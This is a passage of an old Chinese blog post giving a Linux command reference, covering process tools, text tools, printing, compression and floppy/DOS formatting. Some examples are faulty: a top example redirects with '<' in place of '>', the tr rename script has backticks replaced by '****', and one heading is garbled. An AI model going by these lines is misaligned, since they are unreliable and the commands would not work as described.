		<p>说明：重新指定一个或多个行程(Process)的优先序(一个或多个将根据所下的参数而定)</p>
		<p>把计 </p>
		<p>-p pid 重新指定行程的 id 为 pid 的行程的优先序<br />-g pgrp 重新指定行程群组(process group)的 id 为 pgrp 的行程 (一个或多个) 的优先序<br />-u user 重新指定行程拥有者为 user 的行程的优先序<br />范例：<br />将行程 id 为 987 及 32 的行程与行程拥有者为 daemon 及 root 的优先序号码加 1 :<br />renice +1 987 -u daemon root -p 32</p>
		<p>注意 : 每一个行程(Process)都有一个唯一的 (unique) id </p>
		<p>
				<br />
				<font color="#0000ff">名称：top</font>
				<br />使用权限：所有使用者</p>
		<p>使用方式：top [-] [d delay] [q] [c] [S] [s] [n] </p>
		<p>说明：即时显示 process 的动态</p>
		<p>把计 </p>
		<p>d : 改变显示的更新速度，或是在交谈式指令列( interactive command)按 s<br />q : 没有任何延迟的显示速度，如果使用者是有 superuser 的权限，则 top 将会以最高的优先序执行<br />c : 切换显示模式，共有两种模式，一是只显示执行档的名称，另一种是显示完整的路径与名称S : 累积模式，会将己完成或消失的子行程 ( dead child process ) 的 CPU time 累积起来<br />s : 安全模式，将交谈式指令取消, 避免潜在的危机<br />i : 不显示任何闲置 (idle) 或无用 (zombie) 的行程<br />n : 更新的次数，完成后将会退出 top<br />b : 批次档模式，搭配 "n" 参数一起使用，可以用来将 top 的结果输出到档案内</p>
		<p>范例：<br />显示更新十次后退出 ;<br />top -n 10</p>
		<p>使用者将不能利用交谈式指令来对行程下命令 :<br />top -s</p>
		<p>将更新显示二次的结果输入到名称为 top.log 的档案里 :<br />top -n 2 -b &lt; top.log</p>
		<p>
				<font color="#0000ff">名称：skill</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>使用方式： skill [signal to send] [options] 选择程序的规则</p>
		<p>说明：</p>
		<p>送个讯号给正在执行的程序,预设的讯息为 TERM (中断) , 较常使用的讯息为 HUP , INT , KILL , STOP , CONT ,和 0</p>
		<p>讯息有三种写法:分别为 -9 , -SIGKILL , -KILL , 可以使用 -l 或 -L 已列出可使用的讯息。</p>
		<p>一般参数：</p>
		<p>-f 快速模式/尚未完成</p>
		<p>-i 互动模式/ 每个动作将要被确认</p>
		<p>-v 详细输出/ 列出所选择程序的资讯</p>
		<p>-w 智能警告讯息/ 尚未完成</p>
		<p>-n 没有动作/ 显示程序代号</p>
		<p>参数：选择程序的规则可以是, 终端机代号,使用者名称,程序代号,命令名称。</p>
		<p>-t 终端机代号 ( tty 或 pty )</p>
		<p>-u 使用者名称</p>
		<p>-p 程序代号 ( pid )</p>
		<p>-c 命令名称 可使用的讯号:</p>
		<p>以下列出已知的讯号名称,讯号代号,功能。</p>
		<p>名称 (代号) 功能/ 描述</p>
		<p>ALRM 14 离开</p>
		<p>HUP 1 离开</p>
		<p>INT 2 离开</p>
		<p>KILL 9 离开/ 强迫关闭</p>
		<p>PIPE 13 离开</p>
		<p>POLL 离开</p>
		<p>PROF 离开</p>
		<p>TERM 15 离开</p>
		<p>USR1 离开</p>
		<p>USR2 离开</p>
		<p>VTALRM 离开</p>
		<p>STKFLT 离开/ 只适用于i386, m68k, arm 和 ppc 硬体</p>
		<p>UNUSED 离开/ 只适用于i386, m68k, arm 和 ppc 硬体</p>
		<p>TSTP 停止 /产生与内容相关的行为</p>
		<p>TTIN 停止 /产生与内容相关的行为</p>
		<p>TTOU 停止 /产生与内容相关的行为</p>
		<p>STOP 停止 /强迫关闭</p>
		<p>CONT 从新启动 /如果在停止状态则从新启动,否则忽略</p>
		<p>PWR 忽略 /在某些系统中会离开</p>
		<p>WINCH 忽略</p>
		<p>CHLD 忽略</p>
		<p>ABRT 6 核心</p>
		<p>FPE 8 核心</p>
		<p>ILL 4 核心</p>
		<p>QUIT 3 核心</p>
		<p>SEGV 11 核心</p>
		<p>TRAP 5 核心</p>
		<p>SYS 核心 /或许尚未实作</p>
		<p>EMT 核心 /或许尚未实作</p>
		<p>BUS 核心 /核心失败</p>
		<p>XCPU 核心 /核心失败</p>
		<p>XFSZ 核心 /核心失败</p>
		<p>范例：</p>
		<p>停止所有在 PTY 装置上的程序<br />skill -KILL -v pts/*</p>
		<p>停止三个使用者 user1 , user2 , user3<br />skill -STOP user1 user2 user3</p>
		<p>
				<br />其他相关的命令: kill</p>
		<p>
				<br />
				<font color="#0000ff">名称：expr</font>
		</p>
		<p>使用权限：所有使用者<br />### 字串长度</p>
		<p>shell&gt;&gt; expr length "this is a test"<br />14</p>
		<p>### 数字商数</p>
		<p>shell&gt;&gt; expr 14 % 9<br />5</p>
		<p>### 从位置处抓取字串</p>
		<p>shell&gt;&gt; expr substr "this is a test" 3 5<br />is is</p>
		<p>### 数字串 only the first character</p>
		<p>shell&gt;&gt; expr index "testforthegame" e<br />2</p>
		<p>### 字串真实重现</p>
		<p>shell&gt;&gt; expr quote thisisatestformela<br />thisisatestformela<br /> <br /><font color="#0000ff"> 名称: tr</font></p>
		<p>### 1.比方说要把目录下所有的大写档名换为小写档名?</p>
		<p>似乎有很多方式，"tr"是其中一种:</p>
		<p>#!/bin/sh</p>
		<p>dir="/tmp/testdir";<br />files=****find $dir -type f****;<br />for i in $files<br />do<br />dir_name=****dirname $i****;<br />ori_filename=****basename $i****<br />new_filename=****echo $ori_filename | tr [:upper:] [:lower:]**** &gt; /dev/null;<br />#echo $new_filename;<br />mv $dir_name/$ori_filename $dir_name/$new_filename<br />done</p>
		<p>
				<br />### 2.自己试验中...lowercase to uppercase</p>
		<p>tr abcdef...[del] ABCDE...[del]<br />tr a-z A-Z<br />tr [:lower:] [:upper:]</p>
		<p>shell&gt;&gt; echo "this is a test" | tr a-z A-Z &gt; www<br />shell&gt;&gt; cat www<br />THIS IS A TEST</p>
		<p>### 3.去掉不想要的字串</p>
		<p>shell&gt;&gt; tr -d this ### 去掉有关 t.e.s.t<br />this</p>
		<p>man<br />man<br />test<br />e</p>
		<p>### 4.取代字串</p>
		<p>shell&gt;&gt; tr -s "this" "TEST"<br />this<br />TEST<br />th<br />TE</p>
		<p> </p>
		<p>
				<font color="#0000ff">指令：clear</font>
				<br />用途：清除萤幕用。</p>
		<p>使用方法：在 console 上输入 clear。</p>
		<p>
				<br />
				<font color="#0000ff">名称: reset, tset</font>
				<br />使用方法: tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]</p>
		<p>使用说明:</p>
		<p>reset 其实和 tset 是一同个命令，它的用途是设定终端机的状态。一般而言，这个命令会自动的从环境变数、命令列或是其它的组态档决定目前终端机的型态。如果指定型态是 ? 的话，这个程式会要求使用者输入终端机的型别。</p>
		<p>由于这个程式会将终端机设回原始的状态，除了在 login 时使用外，当系统终端机因为程式不正常执行而进入一些奇怪的状态时，你也可以用它来重设终端机o 例如不小心把二进位档用 cat 指令进到终端机，常会有终端机不再回应键盘输入，或是回应一些奇怪字元的问题。此时就可以用 reset 将终端机回复至原始状态。选项说明:</p>
		<p>
				<br />-p<br />将终端机类别显示在萤幕上，但不做设定的动作。这个命令可以用来取得目前终端机的类别。<br />-e ch<br />将 erase 字元设成 ch<br />-i ch<br />将中断字元设成 ch<br />-k ch<br />将删除一行的字元设成 ch<br />-I<br />不要做设定的动作，如果没有使用选项 -Q 的话，erase、中断及删除字元的目前值依然会送到萤幕上。<br />-Q<br />不要显示 erase、中断及删除字元的值到萤幕上。<br />-r<br />将终端机类别印在萤幕上。<br />-s<br />将设定 TERM 用的命令用字串的型式送到终端机中，通常在 .login 或 .profile 中用<br />范例:<br />让使用者输入一个终端机型别并将终端机设到该型别的预设状态。<br /># reset ?</p>
		<p>
				<br />将 erase 字元设定 control-h<br /># reset -e ^B</p>
		<p>
				<br />将设定用的字串显示在萤幕上<br /># reset -s<br />Erase is control-B (^B).<br />Kill is control-U (^U).<br />Interrupt is control-C (^C).<br />TERM=xterm;</p>
		<p>
				<font color="#0000ff">名称：compress</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>
				<br />使用方式：compress [-dfvcV] [-b maxbits] [file ...]</p>
		<p>
				<br />说明：<br />compress 是一个相当古老的 unix 档案压缩指令，压缩后的档案会加上一个 .Z 延伸档名以区别未压缩的档案，压缩后的档案可以以 uncompress 解压。若要将数个档案压成一个压缩档，必须先将档案 tar 起来再压缩。由于 gzip 可以产生更理想的压缩比例，一般人多已改用 gzip 为档案压缩工具。</p>
		<p>
				<br />参数：<br />c 输出结果至标准输出设备（一般指荧幕）<br />f 强迫写入档案，若目的档已经存在，则会被覆盖 (force)<br />v 将程式执行的讯息印在荧幕上 (verbose)<br />b 设定共同字串数的上限，以位元计算，可以设定的值为 9 至 16 bits 。由于值越大，能使用的共同字串就越多，压缩比例就越大，所以一般使用预设值 16 bits (bits)<br />d 将压缩档解压缩<br />V 列出版本讯息</p>
		<p>
				<br />范例：</p>
		<p>
				<br />将 source.dat 压缩成 source.dat.Z ，若 source.dat.Z 已经存在，内容则会被压缩档覆盖。</p>
		<p>
				<br />compress -f source.dat</p>
		<p>
				<br />将 source.dat 压缩成 source.dat.Z ，并列印出压缩比例。<br />-v 与 -f 可以一起使用</p>
		<p>
				<br />compress -vf source.dat</p>
		<p>
				<br />将压缩后的资料输出后再导入 target.dat.Z 可以改变压缩档名。</p>
		<p>
				<br />compress -c source.dat &gt; target.dat.Z</p>
		<p>
				<br />-b 的值越大，压缩比例就越大，范围是 9-16 ，预设值是 16 。</p>
		<p>
				<br />compress -b 12 source.dat</p>
		<p>
				<br />将 source.dat.Z 解压成 source.dat ，若档案已经存在，使用者按 y 以确定覆盖档案，若使用 -df 程式则会自动覆盖档案。由于系统会自动加入 .Z 为延伸档名，所以 source.dat 会自动当作 source.dat.Z 处理。</p>
		<p>
				<br />compress -d source.dat<br />compress -d source.dat.Z</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称： lpd</font>
		</p>
		<p>使用权限： 所有使用者</p>
		<p>使用方式：lpd [-l] [#port]<br />lpd 是一个常驻的印表机管理程式，它会根据 /etc/printcap 的内容来管理本地或远端的印表机。/etc/printcap 中定义的每一个印表机必须在 /var/lpd 中有一个相对应的目录，目录中以 cf 开头的档案表示一个等待送到适当装置的印表工作。这个档案通常是由 lpr 所产生。</p>
		<p>lpr 和 lpd 组成了一个可以离线工作的系统，当你使用 lpr 时，印表机不需要能立即可用，甚至不用存在。lpd 会自动监视印表机的状况，当印表机上线后，便立即将档案送交处理。这个得所有的应用程式不必等待印表机完成前一工作。</p>
		<p>参数：</p>
		<p>
				<br />-l: 将一些除错讯息显示在标准输出上。<br />#port: 一般而言，lpd 会使用 getservbyname 取得适当的 TCP/IP port，你可以使用这个参数强迫 lpd 使用指定的 port。</p>
		<p>范例：<br />这个程式通常是由 /etc/rc.d 中的程式在系统启始阶段执行。</p>
		<p>
				<br />
				<font color="#0000ff">名称 lpq</font>
				<br />-- 显示列表机贮列中未完成的工作 用法</p>
		<p>lpq [l] <br />[user]</p>
		<p>说明<br />lpq 会显示由 lpd 所管理的列表机贮列中未完成的项目。</p>
		<p>范例<br />范例 1. 显示所有在 lp 列表机贮列中的工作</p>
		<p>
				<br /># lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input) 1428646 bytes</p>
		<p> </p>
		<p>相关函数<br />lpr,lpc,lpd</p>
		<p>
				<br />
				<font color="#0000ff">名称： lpr</font>
		</p>
		<p>使用权限： 所有使用者</p>
		<p>使用方式：lpr [ -P printer ]<br />将档案或是由标准输入送进来的资料送到印表机贮列之中，印表机管理程式 lpd 会在稍后将这个档案送给适当的程式或装置处理。lpr 可以用来将料资送给本地或是远端的主机来处理。</p>
		<p>参数：</p>
		<p>
				<br />-p Printer: 将资料送至指定的印表机 Printer，预设值为 lp。</p>
		<p>范例：<br />将 <a href="http://www.c">www.c</a> 和 kkk.c 送到印表机 lp。<br />lpr -Plp <a href="http://www.c">www.c</a> kkk.c</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称: lprm</font>
				<br />-- 将一个工作由印表机贮列中移除 用法</p>
		<p>/usr/bin/lprm </p>
		<p>[file...]</p>
		<p>说明<br />尚未完成的印表机工作会被放在印表机贮列之中，这个命令可用来将常未送到印表机的工作取消。由于每一个印表机都有一个独立的贮列，你可以用 -P 这个命令设定想要作用的印列机。如果没有设定的话，会使用系统预设的印表机。</p>
		<p>这个命令会检查使用者是否有足够的权限删除指定的档案，一般而言，只有档案的拥有者或是系统管理员才有这个权限。</p>
		<p>范例<br />将印表机 hpprinter 中的第 1123 号工作移除</p>
		<p>
				<br />lprm -Phpprinter 1123</p>
		<p>
				<br />将第 1011 号工作由预设印表机中移除</p>
		<p>
				<br />lprm 1011</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称： fdformat</font>
		</p>
		<p>使用权限： 所有使用者</p>
		<p>使用方式：fdformat [-n] device</p>
		<p>使用说明 :<br />对指定的软碟机装置进行低阶格式化。使用这个指令对软碟格式化的时候，最好指定像是下面的装置：</p>
		<p>
				<br />/dev/fd0d360 磁碟机 A: ，磁片为 360KB 磁碟<br />/dev/fd0h1440 磁碟机 A: ，磁片为 1.4MB 磁碟<br />/dev/fd1h1200 磁碟机 B: ，磁片为 1.2MB 磁碟<br />如果使用像是 /dev/fd0 之类的装置，如果里面的磁碟不是标准容量，格式化可能会失败。在这种情况之下，使用者可以用 setfdprm 指令先行指定必要参数。</p>
		<p>参数：</p>
		<p>
				<br />-n 关闭确认功能。这个选项会关闭格式化之后的确认步骤。</p>
		<p>范例：</p>
		<p>fdformat -n /dev/fd0h1440</p>
		<p>将磁碟机 A 的磁片格式化成 1.4MB 的磁片。并且省略确认的步骤。</p>
		<p>
				<br />
				<font color="#0000ff">名称： mformat</font>
		</p>
		<p>使用权限： 所有使用者</p>
		<p>使用方式：</p>
		<p>mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F] [-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A rate_on_other_tracks] [-1] [-k] drive:</p>
		<p>在已经做过低阶格式化的磁片上建立 DOS 档案系统。如果在编译 mtools 的时候把 USE_2M 的参数打开，部分与 2M 格式相关的参数就会发生作用。否则这些参数（像是 S,2,1,M）不会发生作用。</p>
		<p>参数：</p>
		<p>-t 磁柱（synlider）数<br />-h 磁头（head）数<br />-s 每一磁轨的磁区数<br />-l 标签<br />-F 将磁碟格式化为 FAT32 格式，不过这个参数还在实验中。<br />-I 设定 FAT32 中的版本号。这当然也还在实验中。<br />-S 磁区大小代码，计算方式为 sector = 2^(大小代码+7)<br />-c 磁丛（cluster）的磁区数。如果所给定的数字会导致磁丛数超过 FAT 表的限制，mformat 会自动放大磁区数。<br />-s<br />-M 软体磁区大小。这个数字就是系统回报的磁区大小。通常是和实际的大小相同。<br />-a 如果加上这个参数，mformat 会产生一组 Atari 系统的序号给这块软碟。<br />-X 将软碟格式化成 XDF 格式。使用前必须先用 xdfcopy 指令对软碟作低阶格式化的动作。<br />-C 产生一个可以安装 MS-DOS 档案系统的磁碟影像档（disk image）。当然对一个实体磁碟机下这个参数是没有意义的。<br />-H 隐藏磁区的数目。这通常适用在格式化硬碟的分割区时，因为通常一个分割区的前面还有分割表。这个参数未经测试，能不用就不用。<br />-n 磁碟序号<br />-r 根目录的大小，单位是磁区数。这个参数只对 FAT12 和 FAT16 有效。<br />-B 使用所指定的档案或是设备的开机磁区做为这片磁片或分割区的开机磁区。当然当中的硬体参数会随之更动。<br />-k 尽量保持原有的开机磁区。<br />-0 第 0 轨的资料传输率<br />-A 第 0 轨以外的资料传输率<br />-2 使用 2m 格式<br />-1 不使用 2m 格式</p>
		<p>范例：<br />mformat a:</p>
		<p>这样会用预设值把 a: （就是 /dev/fd0）里的磁碟片格式化。</p>
		<p>
				<br />
				<font color="#0000ff">名称： mkdosfs</font>
		</p>
		<p>使用权限： 所有使用者</p>
		<p>使用方式： mkdosfs [ -c | -l filename ]<br />[ -f number_of_FATs ]<br />[ -F FAT_size ]<br />[ -i volume_id ]<br />[ -m message_file ]<br />[ -n volume_name ]<br />[ -r root_dir_entry ]<br />[ -s sector_per_cluster ]<br />[ -v ]<br />device<br />[ block_count ]</p>
		<p>
				<br />说明： 建立 DOS 档案系统。 device 指你想要建立 DOS 档案系统的装置代号。像是 /dev/hda1 等等。 block_count 则是你希望配置的区块数。如果 block_count 没有指定则系统会自动替你计算符合该装置大小的区块数。</p>
		<p>参数：</p>
		<p>
				<br />-c 建立档案系统之前先检查是否有坏轨。<br />-l 从得定的档案中读取坏轨记录。<br />-f 指定档案配置表（FAT , File Allocation Table)的数量。预设值为 2 。目前 Linux 的 FAT 档案系统不支援超过 2 个 FAT 表。通常这个不需要改。<br />-F 指定 FAT 表的大小，通常是 12 或是 16 个位元组。12 位元组通常用于磁碟片，16 位元组用于一般硬碟的分割区，也就是所谓的 FAT16 格式。这个值通常系统会自己选定适当的值。在磁碟片上用 FAT16 通常不会发生作用，反之在硬碟上用 FAT12 亦然。<br />-i 指定 Volume ID。一般是一个 4 个位元组的数字，像是 2e203a47 。如果不给系统会自己产生。<br />-m 当使用者试图用这片磁片或是分割区开机，而上面没有作业系统时，系统会给使用者一段警告讯息。这个参数就是用来变更这个讯息的。你可以先用档案编辑好，然后用这个参数指定，或是用<br />-m -<br />这样系统会要求你直接输入这段文字。要特别注意的是，档案里的字串长度不要超过 418 个字，包括展开的跳栏符号（TAB）和换行符号（换行符号在 DOS 底下算两个字元！）<br />-n 指定 Volume Name，就是磁碟标签。如同在 DOS 底下的 format 指令一样，给不给都可以。没有预设值。<br />-r 指定根目录底下的最大档案数。这里所谓的档案数包括目录。预设值是在软碟上是 112 或是 224 ，在硬碟上是 512。没事不要改这个数字。<br />-s 每一个磁丛（cluster）的磁区数。必须是 2 的次方数。不过除非你知道你在作什么，这个值不要乱给。<br />-v 提供额外的讯息</p>
		<p>范例：<br />mkdosfs -n Tester /dev/fd0 将 A 槽里的磁碟片格式化为 DOS 格式，并将标签设为 Tester<br /></p><img src ="http://www.blogjava.net/Alpha/aggbug/8012.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2005-07-19 20:33 <a href="http://www.blogjava.net/Alpha/articles/8012.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>